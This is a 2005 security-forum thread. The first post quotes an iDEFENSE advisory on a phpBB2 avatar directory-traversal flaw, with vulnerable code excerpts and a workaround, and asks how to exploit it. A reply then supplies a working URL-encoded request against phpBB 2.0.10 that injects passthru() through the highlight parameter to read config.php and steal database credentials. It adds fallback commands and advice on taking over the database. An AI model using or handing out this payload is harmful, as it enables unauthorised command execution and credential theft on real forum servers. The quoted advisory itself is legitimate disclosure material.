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Full disclosure |
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IT Security and Insecurity Portal |
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Help me Phpbb 2.0.10 |
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 Posted: Sun Mar 06, 2005 1:48 pm |
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| Dora |
| Regular user |
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| Joined: Dec 21, 2004 |
| Posts: 10 |
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I read a bug below :
| Quote: |
phpBB Group phpBB2 Arbitrary File Unlink Vulnerability
iDEFENSE Security Advisory 02.22.05
www.idefense.com/application/poi/display?id=205&type=vulnerabilities
February 22, 2005
I. BACKGROUND
phpBB is an open source bulletin board package written in the PHP web
scripting language. More information about phpBB is available from:
http://www.phpbb.com/
II. DESCRIPTION
Remote exploitation of an input validation vulnerability in the phpBB
Group's phpBB2 bulletin board system allows attackers to unlink (delete)
arbitrary system files under the privileges of the web server.
phpBB is an open-source web-based bulletin board system written in PHP.
The vulnerability specifically exists due to a combination of several
flaws that allows a remote attacker to control the arguments in a call
to unlink().The first flaw occurs in the avatar gallery, where a user is
permitted to specify part of the directory name for the desired avatar.
Directory traversal modifies (ex: "/../") are not properly filtered out,
allowing a user to break out of the default avatar directory. This issue
is realized in lines 68-71 of usercp_avatar.php:
if (
file_exists(@phpbb_realpath($board_config['avatar_gallery_path']
. '/' . $avatar_filename)) && ($mode == 'editprofile') )
{
$return = ", user_avatar = '" . str_replace("/'", "''",
$avatar_filename) . "', user_avatar_type = " .
USER_AVATAR_GALLERY;
}
Avatar's are then composed with the following code excerpt found in line
90 of usercp_viewprofile.php:
$avatar_img = ( $board_config['allow_avatar_local'] ) ? '<img src="'
. $board_config['avatar_gallery_path'] . '/' .
$profiledata['user_avatar'] . '" alt="" border="0" />' : '';
The abused calls to unlink() are made when an avatar is deleted. There
is a guard around these functions requiring that the target avatar to
unlink exist in the avatar_path. This routine is also vulnerable to a
directory traversal attack. By issuing a large number of "/../"
directory traversal modifiers, an attacker is able to delete arbitrary
system files. The vulnerable segment of code shown here is from lines
473-478 of usercp_register.php:
if ( @file_exists(@phpbb_realpath('./' .
$board_config['avatar_path']
. '/' . $userdata['user_avatar'])) )
{
@unlink(@phpbb_realpath('./' . $board_config['avatar_path'] .
'/'
. $userdata['user_avatar']));
}
An attacker can exploit this vulnerability by modifying the
"avatarselect" return value from the gallery to point to the desired
file to delete. The choice must be submitted twice for the attack to be
successful.
III. ANALYSIS
Exploitation of this vulnerability allows remote attackers to unlink
arbitrary system files under the privileges of the underlying web
server. An attacker must have or be able to create an account on the
target system. Non-default settings must be enabled for exploitation to
be possible. An attacker can potentially further compromise the target
system by erasing sensitive files such as .htaccess files that provide
access control rules.
IV. DETECTION
iDEFENSE has confirmed the existence of this vulnerability in phpBB2
version 2.0.11. It is suspected that earlier versions are affected as
well. "Enable gallery avatars" must be enabled for the target to be
vulnerable.
V. WORKAROUND
Disable gallery avatars. This can be done through th phpBB
administrative interface under "General Admin -> Configuration ->
Avatar Settings".
VI. VENDOR RESPONSE
This vulnerability is addressed in phpBB version 2.0.12 available for
download at:
http://www.phpbb.com/downloads.php
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I'm a newbie and I do'n understand this much . Who can explaint how to xploit this bug for me . Give me an example . THank a lot ! |
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| Posted: Tue Mar 08, 2005 11:33 am |
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| shai-tan |
| Valuable expert |
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| Joined: Feb 22, 2005 |
| Posts: 477 |
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If you want to hack a 2.0.10 forum just use this:
viewtopic.php?t=2784&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20tail%20config.php%3B%20
%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%
54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
That will get the Database Information from config.php.
And then you can use something like phpmyadmin or MySql conrol center to access the database. That is of course if the server you are sploiting has MySql. 
And if that doesnt work try cat20%config.php where it has tail20%config.php
Or if that doesnt work go to the "phpbb <= 2.0.12 exploit" thread in this forum and try the new cookie exploit by Heintz. |
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_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
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